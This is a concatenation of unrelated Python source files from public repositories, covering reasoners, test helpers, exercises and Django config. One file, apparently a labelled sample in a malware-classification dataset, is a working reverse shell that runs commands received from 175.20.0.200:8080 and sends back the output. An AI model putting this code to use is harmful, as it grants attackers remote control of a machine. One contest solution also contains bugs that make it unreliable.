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import logging; logger = logging.getLogger("minimalKB."+__name__); DEBUG_LEVEL=logging.DEBUG import time import datetime import sqlite3 from minimalkb.backends.sqlite import sqlhash from minimalkb.kb import DEFAULT_MODEL REASONER_RATE = 5 #Hz class OntoClass: def __init__(self, name): self.name = name self.parents = set() self.children = set() self.instances = set() self.equivalents = set() def __repr__(self): return self.name + \ "\n\tParents: " + str(self.parents) + \ "\n\tChildren: " + str(self.children) + \ "\n\tInstances: " + str(self.instances) class SQLiteSimpleRDFSReasoner: SYMMETRIC_PREDICATES = {"owl:differentFrom", "owl:sameAs", "owl:disjointWith"} def __init__(self, database = "kb.db"): self.db = sqlite3.connect(':memory:') # create a memory database self.shareddb = sqlite3.connect(database) # create the tables # taken from http://stackoverflow.com/questions/4019081 query = None for line in self.shareddb.iterdump(): if "triples" in line: query = line break self.db.executescript(query) self.running = True logger.info("Reasoner (simple RDFS) started. Classification running at %sHz" % REASONER_RATE) #################################################################### #################################################################### def classify(self): starttime = time.time() self.copydb() models = self.get_models() newstmts = [] for model in models: rdftype, subclassof = self.get_missing_taxonomy_stmts(model) newstmts += [(i, "rdf:type", c, model) for i,c in rdftype] newstmts += [(cc, "rdfs:subClassOf", cp, model) for cc,cp in subclassof] newstmts += self.symmetric_statements(model) if newstmts: logger.debug("Reasoner added new statements to the knowledge base:\n -" +\ "\n - ".join(["%s %s %s (in %s)" % stmt for stmt in newstmts])) self.update_shared_db(newstmts) logger.info("Classification took %fsec." % (time.time() - starttime)) def get_models(self): with self.db: return [row[0] for row in self.db.execute("SELECT DISTINCT model FROM triples")] def get_onto(self, db, model = DEFAULT_MODEL): onto = {} rdftype = None subclassof = None equivalentclasses = None with db: rdftype = {(row[0], row[1]) for row in db.execute( '''SELECT subject, object FROM triples WHERE (predicate='rdf:type' AND model=?) ''', [model])} subclassof = {(row[0], row[1]) for row in db.execute( '''SELECT subject, object FROM triples WHERE (predicate='rdfs:subClassOf' AND model=?) ''', [model])} equivalentclasses = {(row[0], row[1]) for row in db.execute( '''SELECT subject, object FROM triples WHERE (predicate='owl:equivalentClass' AND model=?) ''', [model])} for cc, cp in subclassof: parent = onto.setdefault(cp, OntoClass(cp)) child = onto.setdefault(cc, OntoClass(cc)) child.parents.add(parent) parent.children.add(child) for i, c in rdftype: onto.setdefault(c, OntoClass(c)).instances.add(i) for ec1, ec2 in equivalentclasses: equi1 = onto.setdefault(ec1, OntoClass(ec1)) equi2 = onto.setdefault(ec2, OntoClass(ec2)) equi1.equivalents.add(equi2) equi2.equivalents.add(equi1) return onto, rdftype, subclassof def get_missing_taxonomy_stmts(self, model = DEFAULT_MODEL): onto, rdftype, subclassof = self.get_onto(self.db, model) newrdftype = set() newsubclassof = set() def addinstance(instance, cls): newrdftype.add((instance, cls.name)) for p in cls.parents: addinstance(instance, p) def addsubclassof(scls, cls): newsubclassof.add((scls.name, cls.name)) for p in cls.parents: addsubclassof(scls, p) for name, cls in onto.items(): for i in cls.instances: addinstance(i, cls) for p in cls.parents: addsubclassof(cls, p) for equivalent in cls.equivalents: for i in cls.instances: addinstance(i, equivalent) for p in cls.parents: addsubclassof(equivalent, p) newrdftype -= rdftype newsubclassof -= subclassof return newrdftype, newsubclassof def symmetric_statements(self, model): with self.db: stmts = {(row[0], row[1], row[2], model) for row in self.db.execute( '''SELECT subject, predicate, object FROM triples WHERE (predicate IN ('%s') AND model=?) ''' % "', '".join(self.SYMMETRIC_PREDICATES), [model])} return {(o, p, s, m) for s, p, o, m in stmts} - stmts # so we keep only the new symmetrical statements ###################################################################### ###################################################################### def copydb(self): """ Tried several other options (with ATTACH DATABASE -> that would likely lock the shared database as well, with iterdump, we miss the 'OR IGNORE') """ res = self.shareddb.execute("SELECT * FROM triples") with self.db: self.db.execute("DELETE FROM triples") self.db.executemany('''INSERT INTO triples VALUES (?, ?, ?, ?, ?, ?, ?, ?)''', res) def update_shared_db(self, stmts): logger.debug("Reasoner added %s new statements: %s" % (len(stmts), stmts)) timestamp = datetime.datetime.now().isoformat() stmts = [[sqlhash(s,p,o,model), s, p, o, model, timestamp] for s,p,o,model in stmts] with self.shareddb: self.shareddb.executemany('''INSERT OR IGNORE INTO triples (hash, subject, predicate, object, model, timestamp, inferred) VALUES (?, ?, ?, ?, ?, ?, 1)''', stmts) def __call__(self, *args): try: while self.running: time.sleep(1./REASONER_RATE) self.classify() except KeyboardInterrupt: return reasoner = None def start_reasoner(db): global reasoner if not reasoner: reasoner = SQLiteSimpleRDFSReasoner() reasoner.running = True reasoner() def stop_reasoner(): if reasoner: reasoner.running = False

[ "severin.lemaignan@epfl.ch" ]

severin.lemaignan@epfl.ch

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itsolutionscorp/AutoStyle-Clustering

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def slices(digits, length_of_series): is_series_longer_than_digits = length_of_series > len(digits) is_series_less_than_1 = length_of_series < 1 if is_series_longer_than_digits: raise ValueError if is_series_less_than_1: raise ValueError def remove_first_element(L): L.pop(0) series = [] number_of_series = (len(digits) - length_of_series) + 1 digits = list(map(int, digits)) for _ in range(number_of_series): series.append(digits[0:length_of_series]) remove_first_element(digits) return series

[ "rrc@berkeley.edu" ]

rrc@berkeley.edu

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# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import copy from libs.base_testcase import BaseTestCase from libs.gitiles.change_log import ChangeLog from analysis.type_enums import CrashClient DUMMY_CHANGELOG = ChangeLog.FromDict({ 'author': { 'name': 'r@chromium.org', 'email': 'r@chromium.org', 'time': 'Thu Mar 31 21:24:43 2016', }, 'committer': { 'name': 'example@chromium.org', 'email': 'r@chromium.org', 'time': 'Thu Mar 31 21:28:39 2016', }, 'message': 'dummy', 'commit_position': 175900, 'touched_files': [ { 'change_type': 'add', 'new_path': 'a.cc', 'old_path': None, }, { 'change_type': 'rename', 'old_path': 'old_name.cc', 'new_path': 'new_name.cc', }, ], 'commit_url': 'https://repo.test/+/1', 'code_review_url': 'https://codereview.chromium.org/3281', 'revision': '1', 'reverted_revision': None }) class MockLog(object): # pragma: no cover def __init__(self): self.logs = [] def Log(self, name, message, level): self.logs.append({'name': name, 'message': message, 'level': level}) class AnalysisTestCase(BaseTestCase): # pragma: no cover. def _VerifyTwoStackFramesEqual(self, frame1, frame2): self.assertIsNotNone(frame1, "the first frame is unexpectedly missing") self.assertIsNotNone(frame2, "the second frame is unexpectedly missing") self.assertEqual(str(frame1), str(frame2)) self.assertEqual(frame1.dep_path, frame2.dep_path) def _VerifyTwoCallStacksEqual(self, stack1, stack2): self.assertIsNotNone(stack1, "the first stack is unexpectedly missing") self.assertIsNotNone(stack2, "the second stack is unexpectedly missing") self.assertEqual(len(stack1.frames), len(stack2.frames)) self.assertEqual(stack1.priority, stack2.priority) self.assertEqual(stack1.format_type, stack2.format_type) self.assertEqual(stack1.language_type, stack2.language_type) map(self._VerifyTwoStackFramesEqual, stack1.frames, stack2.frames) def _VerifyTwoStacktracesEqual(self, trace1, trace2): self.assertIsNotNone(trace1, "the first trace is unexpectedly missing") self.assertIsNotNone(trace2, "the second trace is unexpectedly missing") self.assertEqual(len(trace1.stacks), len(trace2.stacks)) map(self._VerifyTwoCallStacksEqual, trace1.stacks, trace2.stacks) def GetDummyChangeLog(self): return copy.deepcopy(DUMMY_CHANGELOG) def GetDummyClusterfuzzData( self, client_id=CrashClient.CLUSTERFUZZ, version='1', signature='signature', platform='win', stack_trace=None, regression_range=None, testcase_id='213412343', crash_type='check', crash_address='0x0023', job_type='android_asan', sanitizer='ASAN', dependencies=None, dependency_rolls=None, redo=False, security_flag=False): crash_identifiers = {'testcase_id': testcase_id} regression_range = regression_range or { 'dep_path': 'src', 'repo_url': 'https://chromium.git', 'old_revision': '3', 'new_revision': '9', } customized_data = { 'crash_type': crash_type, 'crash_address': crash_address, 'job_type': job_type, 'sanitizer': sanitizer, 'regression_range': regression_range, 'dependencies': dependencies or [{'dep_path': 'src/', 'repo_url': 'https://repo', 'revision': 'rev'}], 'dependency_rolls': dependency_rolls or [{'dep_path': 'src/', 'repo_url': 'https://repo', 'old_revision': 'rev1', 'new_revision': 'rev5'}], 'testcase_id': testcase_id, 'security_flag': security_flag, } crash_data = { 'crash_revision': version, 'signature': signature, 'platform': platform, 'stack_trace': stack_trace, 'regression_range': regression_range, 'crash_identifiers': crash_identifiers, 'customized_data': customized_data } if redo: crash_data['redo'] = True # This insertion of client_id is used for debugging ScheduleNewAnalysis. if client_id is not None: # pragma: no cover crash_data['client_id'] = client_id return crash_data def GetDummyChromeCrashData( self, client_id=CrashClient.CRACAS, version='1', signature='signature', platform='win', stack_trace=None, regression_range=None, channel='canary', historical_metadata=None, process_type='browser'): crash_identifiers = { 'chrome_version': version, 'signature': signature, 'channel': channel, 'platform': platform, 'process_type': process_type, } customized_data = { 'historical_metadata': historical_metadata, 'channel': channel, } crash_data = { 'chrome_version': version, 'signature': signature, 'platform': platform, 'stack_trace': stack_trace, 'regression_range': regression_range, 'crash_identifiers': crash_identifiers, 'customized_data': customized_data } # This insertion of client_id is used for debugging ScheduleNewAnalysis. if client_id is not None: # pragma: no cover crash_data['client_id'] = client_id return crash_data def GetMockLog(self): return MockLog()

[ "commit-bot@chromium.org" ]

commit-bot@chromium.org

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/functions/keyword_only.py

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[]

no_license

calazans10/algorithms.py

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refs/heads/master

2020-05-17T13:27:58.481732

2013-07-21T13:31:39

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# -*- coding: utf-8 -*- def total(initial=5, *numbers, vegetables): count = initial for number in numbers: count += number count += vegetables return count print(total(10, 1, 2, 3, vegetables=50)) print(total(10, 1, 2, 3, vegetables=10))

[ "calazans10@gmail.com" ]

calazans10@gmail.com

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/test/test_self_user.py

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[]

no_license

bbrangeo/python-api-client

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refs/heads/master

2020-03-14T18:24:20.888631

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# coding: utf-8 """ BIMData API BIMData API documentation # noqa: E501 OpenAPI spec version: v1 Contact: contact@bimdata.io Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import bimdata_api_client from bimdata_api_client.models.self_user import SelfUser # noqa: E501 from bimdata_api_client.rest import ApiException class TestSelfUser(unittest.TestCase): """SelfUser unit test stubs""" def setUp(self): pass def tearDown(self): pass def testSelfUser(self): """Test SelfUser""" # FIXME: construct object with mandatory attributes with example values # model = bimdata_api_client.models.self_user.SelfUser() # noqa: E501 pass if __name__ == '__main__': unittest.main()

[ "hugo.duroux@gmail.com" ]

hugo.duroux@gmail.com

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/abc_155_D.py

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[]

no_license

Kuroboo100/atcoder

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2022-11-25T13:17:02.280672

2020-08-03T13:36:40

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def mul_minus(m,p,k): """ m,p=minus またはplus 順番はminus>>plusの順で与える出力はl,sの積の組み合わせでk番目に小さい数 """ p.sort(reverse=True) m_tmp=0 p_tmp=0 i=0 mul=[m[0]*p[0]] while i<k: if p_tmp+1<len(p): can_1=m[m_tmp]*p[p_tmp+1] if m_tmp+1<len(m): can_2=m[m_tmp+1]*p[p_tmp] if can_1>=can_2: m_tmp=m_tmp+1 else: p_tmp=p_tmp+1 mul.append(m[m_tmp]*p[p_tmp]) i+=1 return m[m_tmp]*p[p_tmp] def mul_plus(m,p,k): """ m,p=minus またはplus 順番はminus>>plusの順で与える出力はl,sの積の組み合わせでk番目に小さい数 """ m.sort(reversed=True) tmp=[0,1,0,1] sm_tmp=tmp[0] lm_tmp=tmp[1] sp_tmp=tmp[2] lp_tmp=tmp[3] i=0 can=[0,0,0,0] mul=[] while i<k: if sm_tmp+1!=lm_tmp and sm_tmp+1<len(m): can[0]=m[sm_tmp+1]*m[lm_tmp] if lm_tmp+1<len(m): can[1]=m[sm_tmp]*m[lm_tmp+1] if sp_tmp+1!=lp_tmp and sp_tmp+1<len(p): can[2]=p[sp_tmp+1]*p[lp_tmp] if lp_tmp+1<len(p): can[3]=p[sp_tmp]*p[lp_tmp+1] if can_1>=can_2: lm_tmp+=1 else: sm_tmp+=1 j=can.index(min(can)) tmp[j]+=1 i+=1 mul.append(min(can)) return min(can) def main(): N,K=map(int,input().strip().split()) A=list(map(int,input().strip().split())) A.sort() minus=[] zero=[] plus=[] for n in range(N): if A[n]<0: minus.append(A[n]) elif A[n]==0: zero.apppend(A[n]) else: plus.append(A[n]) num_minus=len(minus)*len(plus) num_zero=len(zero)*len(minus)+len(zero)*len(plus) num_plus=len(plus)*(len(plus)-1)+len(minus)*(len(minus)-1) if K<=num_minus: return mul_minus(minus,plus,K) elif num_minus<K<=num_minus+num_zero: return 0 else: k=K-num_minus-num_zero return mul_plus(minus,plus,k) if __name__=="__main__": print(main())

[ "yuki.kubota.0223@gmail.com" ]

yuki.kubota.0223@gmail.com

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/chapter06/chapter06/wsgi.py

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jzplyy/xiaoyue_mall

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""" WSGI config for chapter06 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'chapter06.settings') application = get_wsgi_application()

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jzplyy@126.com

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/host_im/mount/malware-classification-master/samples/virus/sample_bad356.py

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Barnsa/Dissertation

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refs/heads/master

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import zlib import tarfile import socket import crypt import lzma import subprocess import gzip import bz2 import hmac import hashlib import threading import zipfile s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)

[ "barnsa@uni.coventry.ac.uk" ]

barnsa@uni.coventry.ac.uk

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/experimental/dsmith/scrapheap/handcheck-crashes.py

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no_license

QuXing9/phd

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refs/heads/master

2022-02-27T03:29:05.126378

2019-10-22T02:46:57

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#!/usr/bin/env python import random import sys from argparse import ArgumentParser from dsmith import db from dsmith.db import * def yes_no_or_skip(question, default="skip"): """Ask a yes/no/skip question via input() and return their answer. "question" is a string that is presented to the user. "default" is the presumed answer if the user just hits <Enter>. It must be "yes" (the default), "no" or None (meaning an answer is required of the user). The "answer" return value is True for "yes" or False for "no". """ valid = {"yes": "yes", "y": "yes", "ye": "yes", "no": "no", "n": "no", "skip": "skip", "ski": "skip", "sk": "skip", "s": "skip", } if default is None: prompt = "[y/n/s]" elif default == "yes": prompt = "[Y/n/s]" elif default == "no": prompt = "[y/N/s]" elif default == "skip": prompt = "[y/n/S]" else: raise ValueError("invalid default answer: '%s'" % default) while True: sys.stdout.write(f"{question} {prompt} ") choice = input().lower() if default is not None and choice == '': return valid[default] elif choice in valid: return valid[choice] else: sys.stdout.write(f"Invalid input, select form {prompt}.\n") def handcheck(recheck=False, include_all=False): program = None with Session() as session: q = session.query(CLgenProgram).distinct() \ .join(cl_launcherCLgenResult, cl_launcherCLgenResult.program_id == CLgenProgram.id) \ .filter(CLgenProgram.gpuverified == 1) if not include_all: q = q.filter(cl_launcherCLgenResult.status == 0, cl_launcherCLgenResult.classification == "Wrong code") if not recheck: q = q.filter(CLgenProgram.handchecked == None) num_todo = q.count() if num_todo: program = q.limit(1).offset(random.randint(0, num_todo - 1)).first() print() print(f"{num_todo} kernels to check") print("=====================================") print(program.src) print() answer = yes_no_or_skip("Is this a valid kernel?") if answer == "skip": print("skip") else: valid = answer == "yes" print(valid) print() program.handchecked = 1 if valid else 0 # next check if program: handcheck(recheck=recheck, include_all=include_all) def main(): parser = ArgumentParser(description="Collect difftest results for a device") parser.add_argument("-H", "--hostname", type=str, default="cc1", help="MySQL database hostname") parser.add_argument("-r", "--recheck", action="store_true", help="include previously checked kernels") parser.add_argument("-a", "--all", dest="include_all", action="store_true", help="include all kernels, not just wrong-code") args = parser.parse_args() # get testbed information db_hostname = args.hostname db_url = db.init(db_hostname) try: handcheck(recheck=args.recheck, include_all=args.include_all) print("done.") except KeyboardInterrupt: print("\nthanks for playing") if __name__ == "__main__": main()

[ "chrisc.101@gmail.com" ]

chrisc.101@gmail.com

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/Udemy/Section 14/RunIETests.py

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[]

no_license

ctramm/Python_Training

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2022-12-04T14:18:30.477562

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""" Section 14: Run Tests on IE """ from selenium import webdriver class RunIETests: def test_method(self): driver = webdriver.Ie() driver.get("http://www.letskodeit.com") driver.close() ie = RunIETests() ie.test_method()

[ "ctramm@wiley.com" ]

ctramm@wiley.com

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[ "MIT" ]

permissive

RevansChen/online-judge

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2021-01-19T23:02:58.273081

2019-07-05T09:42:40

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# Python - 3.6.0 Test.assert_equals(plural(0), True, 'Plural for 0' ) Test.assert_equals(plural(0.5), True, 'Plural for 0.5') Test.assert_equals(plural(1), False, '1 is singular!') Test.assert_equals(plural(100), True, 'Plural for 100')

[ "d79523@hotmail.com" ]

d79523@hotmail.com

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[]

no_license

AlienWu2019/Alien-s-Code

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refs/heads/master

2020-05-07T18:42:03.723993

2019-05-05T14:32:49

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import sys,math def hash_fraction(m,n): p=sys.hash_info.modulus while m%p==n%p==0: m,n=m//p,n//p if n%p==0: hash_value=sys.hash_info.inf else: hash_value=(abs(m)%p)*pow(n,p-2,p)%p if m<0: hash_value=-hash_value if hash_value==-1: hash_value=-2 return hash_value def hash_float(x): if math.isnan(x): return sys.hash_info.nan elif math.isinf(x): return sys.hash_info.inf if x>0 else -sys.hash_info.inf else: return hash_fraction(*x.as_integer_ratio())

[ "q582946945@gmail.com" ]

q582946945@gmail.com

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/mupit/combine_analyses.py

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[ "MIT" ]

permissive

tianyunwang/mupit

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2020-03-26T04:27:13.342987

2018-08-02T23:18:42

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""" Copyright (c) 2016 Genome Research Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import math import numpy import pandas from scipy.stats import chi2 def fishersMethod(x): """ function to combine p values, using Fisher's method Args: x: list of P-values for a gene Returns: combined P-value """ x = [ val for val in x if not math.isnan(val) ] if len(x) == 0: return numpy.nan return chi2.sf(-2 * sum(numpy.log(x)), 2 * len(x)) def combine_enrichment_and_clustering(enriched, clust): """ combine P values from enrichment and clustering tests into a single P value Args: enriched: dataframe of de novo enrichment results clust: dataframe of de novo clustering results Returns: a merged dataset where the P values have been combined """ # read in p values from clustering analysis, only for genes with >1 mutation clust = pandas.pivot_table(clust, index=["gene_id"], columns=["mutation_category"], values="probability", aggfunc=numpy.mean) clust["hgnc"] = list(clust.index) columns = ["missense", "nonsense"] rename = dict(zip(columns, [ "p_{}_clust".format(x) for x in columns ])) clust = clust.rename(columns=rename) # merge the datasets merged = enriched.merge(clust, how="left", on="hgnc") # calculate a combined p-value for each gene. We don't expect the # loss-of-function de novos to be clustered, so we don't use that. p_values = merged[["p_func", "p_missense_clust"]] merged["p_combined"] = p_values.apply(fishersMethod, axis=1) # calculate minimum p value across LoF and func + clustering tests merged["p_min"] = merged[["p_lof", "p_combined"]].min(axis=1) return merged def combine_tests(meta_clust, meta_enrich, clust, enrich, pheno_path=None): """ find the most significant P value for each gene from the P values from different subsets and different tests. Args: meta_clust: path to clustering results for the meta-analysis subset meta_enrich: path to enrichment results for the meta-analysis subset clust: path to clustering results for the ddd only subset enrich: path to enrichment results for the ddd only subset pheno_path: path to phenotype similarity testing results Returns: data frame with the columns from all the datasets, as well as minimum P values from each subset for each gene, and overall minimum P values for each gene. """ # load all the data files clust = pandas.read_table(clust, sep="\t") enrich = pandas.read_table(enrich, sep="\t") meta_clust = pandas.read_table(meta_clust, sep="\t") meta_enrich = pandas.read_table(meta_enrich, sep="\t") meta = combine_enrichment_and_clustering(meta_enrich, meta_clust) ddd = combine_enrichment_and_clustering(enrich, clust) # if we have phenotypic similarity results, merge them with the other results if pheno_path is not None: phenotypes = pandas.read_table(pheno_path, sep="\t") ddd = ddd.merge(phenotypes, how="outer", on="hgnc") # need names that are more informative as same across files, add prefix columns = ["lof_indel", "lof_snv", "missense_indel", "missense_snv", "p_lof", "p_func", "p_missense_clust", "p_nonsense_clust", "gene_id", "p_combined", "hpo_similarity_p_value", "p_min"] ddd = ddd.rename(columns=dict(zip(columns, [ "ddd.{}".format(x) for x in columns ]))) meta = meta.rename(columns=dict(zip(columns, [ "meta.{}".format(x) for x in columns ]))) # merge together files, focusing on genes with DNMs in DDD merged = meta.merge(ddd, how="outer", on=["hgnc", "chrom"]) merged["p_min"] = merged[["ddd.p_min", "meta.p_min"]].min(axis=1) return merged

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jm33@sanger.ac.uk

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import os import unittest import tensorflow as tf from deepse.simcse import SimCSE from deepse.simcse_dataset import (HardNegativeSimCSEDataset, SupervisedSimCSEDataset, UnsupSimCSEDataset) from tokenizers import BertWordPieceTokenizer PRETRAINED_MODEL_PATH = os.environ['PRETRAINED_MODEL_PATH'] class SimCSETest(unittest.TestCase): def test_unsup_simcse_train(self): model_path = os.path.join(PRETRAINED_MODEL_PATH, 'chinese_roberta_wwm_ext_L-12_H-768_A-12') model = SimCSE(model_path, mode='unsup') tokenizer = BertWordPieceTokenizer.from_file(os.path.join(model_path, 'vocab.txt')) dataset = UnsupSimCSEDataset(tokenizer) train_dataset = dataset( input_files=['data/simcse_unsup.jsonl'], batch_size=4, bucket_boundaries=[20], buffer_size=10, repeat=100, ) model.fit( train_dataset, validation_data=train_dataset, epochs=2, callbacks=[ tf.keras.callbacks.ModelCheckpoint( 'data/simcse-unsup', monitor='loss', save_weights_only=False) ]) def test_supervised_simcse_train(self): model_path = os.path.join(PRETRAINED_MODEL_PATH, 'chinese_roberta_wwm_ext_L-12_H-768_A-12') model = SimCSE(model_path, mode='sup') tokenizer = BertWordPieceTokenizer.from_file(os.path.join(model_path, 'vocab.txt')) dataset = SupervisedSimCSEDataset(tokenizer) train_dataset = dataset( input_files=['data/simcse_supervised.jsonl'], batch_size=4, bucket_boundaries=[20], buffer_size=10, repeat=100, ) model.fit( train_dataset, validation_data=train_dataset, epochs=2, callbacks=[ tf.keras.callbacks.ModelCheckpoint( 'data/simcse-sup', monitor='loss', save_weights_only=False) ]) def test_hardneg_simcse_train(self): model_path = os.path.join(PRETRAINED_MODEL_PATH, 'chinese_roberta_wwm_ext_L-12_H-768_A-12') model = SimCSE(model_path, mode='hardneg') tokenizer = BertWordPieceTokenizer.from_file(os.path.join(model_path, 'vocab.txt')) dataset = HardNegativeSimCSEDataset(tokenizer) train_dataset = dataset( input_files=['data/simcse_hardnegative.jsonl'], batch_size=4, bucket_boundaries=[20], buffer_size=10, repeat=100, ) model.fit( train_dataset, validation_data=train_dataset, epochs=2, callbacks=[ tf.keras.callbacks.ModelCheckpoint( 'data/simcse-hardneg', monitor='loss', save_weights_only=False) ]) if __name__ == "__main__": unittest.main()

[ "zhouyang.luo@gmail.com" ]

zhouyang.luo@gmail.com

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oyorooms/hue

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2020-04-15T20:31:56.931218

2019-01-09T19:02:21

2019-01-09T19:05:36

164,998,117

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Apache-2.0

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request = { "method": "GET", "uri": uri("/unusual_content_length"), "version": (1, 0), "headers": [ ("CONTENT-LENGTH", "5") ], "body": b"HELLO" }

[ "yingchen@cloudera.com" ]

yingchen@cloudera.com

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/plugins/core/views/resource_server.py

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[]

no_license

laravelbook/ajenti

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refs/heads/master

2021-01-21T00:47:50.194075

2015-09-08T09:44:56

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3,134

py

import json import os from jadi import component import aj from aj.api.http import url, HttpPlugin from aj.plugins import PluginManager from aj.api.endpoint import endpoint @component(HttpPlugin) class ResourcesHandler(HttpPlugin): def __init__(self, http_context): self.cache = {} self.use_cache = not aj.debug self.mgr = PluginManager.get(aj.context) @url(r'/resources/all\.(?P<type>.+)') @endpoint(page=True, auth=False) def handle_build(self, http_context, type=None): if self.use_cache and type in self.cache: content = self.cache[type] else: content = '' if type in ['js', 'css']: for plugin in self.mgr: path = self.mgr.get_content_path(plugin, 'resources/build/all.%s' % type) if os.path.exists(path): content += open(path).read() if type == 'init.js': ng_modules = [] for plugin in self.mgr: for resource in self.mgr[plugin]['info']['resources']: if resource.startswith('ng:'): ng_modules.append(resource.split(':')[-1]) content = ''' window.__ngModules = %s; ''' % json.dumps(ng_modules) if type == 'partials.js': content = ''' angular.module("core.templates", []); angular.module("core.templates").run( ["$templateCache", function($templateCache) { ''' for plugin in self.mgr: for resource in self.mgr[plugin]['info']['resources']: if resource.endswith('.html'): path = self.mgr.get_content_path(plugin, resource) if os.path.exists(path): template = open(path).read() content += ''' $templateCache.put("%s", %s); ''' % ( '%s/%s:%s' % (http_context.prefix, plugin, resource), json.dumps(template) ) content += ''' }]); ''' self.cache[type] = content http_context.add_header('Content-Type', { 'css': 'text/css', 'js': 'application/javascript; charset=utf-8', 'init.js': 'application/javascript; charset=utf-8', 'partials.js': 'application/javascript; charset=utf-8', }[type]) http_context.respond_ok() return http_context.gzip(content=content) @url(r'/resources/(?P<plugin>\w+)/(?P<path>.+)') @endpoint(page=True, auth=False) def handle_file(self, http_context, plugin=None, path=None): if '..' in path: return http_context.respond_not_found() return http_context.file(PluginManager.get(aj.context).get_content_path(plugin, path))

[ "john.pankov@gmail.com" ]

john.pankov@gmail.com

44375c66e34b3f92833d4072fa8cc571efb27d5b

163872dee6c98ab2d4f9f592509050fda2e1abc6

/myapp_1/urls.py

2d7b659af0d5a416f915a80c5a73296ffccccec7

[]

no_license

aynulislam/Django-Rest-Framework

b89b3cab93254aefa7b53c85ba384f911b2516e0

6f9e1cffc651b4e809aa6fbfff0e12a66cdbb989

refs/heads/master

2020-08-15T07:24:15.812020

2019-10-16T09:09:00

215,300,188

0

null

UTF-8

Python

false

636

py

from django.urls import path from . views import EmCategoryAPIView,EmEmailAPIView,EmReceiverAPIView,EmGroupAPIView,EmUserAPIView,ScUserAPIView,GnGroupTypeAPIView urlpatterns = [ path('EmCategory/', EmCategoryAPIView, name="EmCategoryAPIView"), path('EmEmail/', EmEmailAPIView, name="EmEmailAPIView"), path('EmReceiver/', EmReceiverAPIView, name="EmReceiverAPIView"), path('EmGroup/', EmGroupAPIView, name="EmGroupAPIView"), path('EmUser/', EmUserAPIView, name="EmUserAPIView"), path('ScUser/', ScUserAPIView, name="ScUserAPIView"), path('GnGroup/', GnGroupTypeAPIView, name="GnGroupTypeAPIView"), ]

[ "noreply@github.com" ]

aynulislam.noreply@github.com

468b66b2fef16af97cf3104bbb05e66e47e4bff1

f9e8733ed87858b12bfee6b70ccdddd6a616b60a

/62.py

799f209d8c36c80090880a57df0cc0ad6e89c666

[]

no_license

MajestyLee/leetcode_TopInterview

c1c9c923d3bf42cd4777bb2a2ccd21654a7c6dbb

30b7d5acec716b7d754141835fc8bafe4411437e

refs/heads/master

2020-04-01T12:19:20.837383

2018-11-06T02:13:44

153,200,785

0

null

UTF-8

Python

false

1,353

py

''' A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below). The robot can only move either down or right at any point in time. The robot is trying to reach the bottom-right corner of the grid (marked 'Finish' in the diagram below). How many possible unique paths are there? Above is a 7 x 3 grid. How many possible unique paths are there? Note: m and n will be at most 100. Example 1: Input: m = 3, n = 2 Output: 3 Explanation: From the top-left corner, there are a total of 3 ways to reach the bottom-right corner: 1. Right -> Right -> Down 2. Right -> Down -> Right 3. Down -> Right -> Right Example 2: Input: m = 7, n = 3 Output: 28 ''' #DP import math class Solution: def uniquePaths(self, m, n): """ :type m: int :type n: int :rtype: int """ dp = [[1 for j in range(0,m)] for i in range(0,n)] for i in range(1,n): for j in range(1,m): dp[i][j] = dp[i-1][j] + dp[i][j-1] return dp[-1][-1] #dfs def dfsUniquePaths(self,m,n): if m==1 or n == 1: return 1 else: return self.uniquePaths(m - 1, n) + self.uniquePaths(m, n - 1) #math def mathUniquePaths(self, m, n): return math.factorial(m+n-2)/math.factorial(m-1)/math.factorial(n-1)

[ "binjie_lee@163.com" ]

binjie_lee@163.com

d1509126fa63efd3f64b1929998f2ca8f07320df

2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02

/PyTorch/contrib/cv/detection/NasFPN/mmdet/models/detectors/trident_faster_rcnn.py

f0fd80d41407162df71ba5349fc659d4713cdb6e

[ "Apache-2.0", "BSD-3-Clause", "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause", "MIT", "LicenseRef-scancode-generic-cla", "LicenseRef-scancode-unknown-license-reference", "GPL-1.0-or-later" ]

permissive

Ascend/ModelZoo-PyTorch

4c89414b9e2582cef9926d4670108a090c839d2d

92acc188d3a0f634de58463b6676e70df83ef808

refs/heads/master

2023-07-19T12:40:00.512853

2023-07-17T02:48:18

483,502,469

23

6

Apache-2.0

2022-10-15T09:29:12

2022-04-20T04:11:18

Python

UTF-8

Python

false

2,662

py

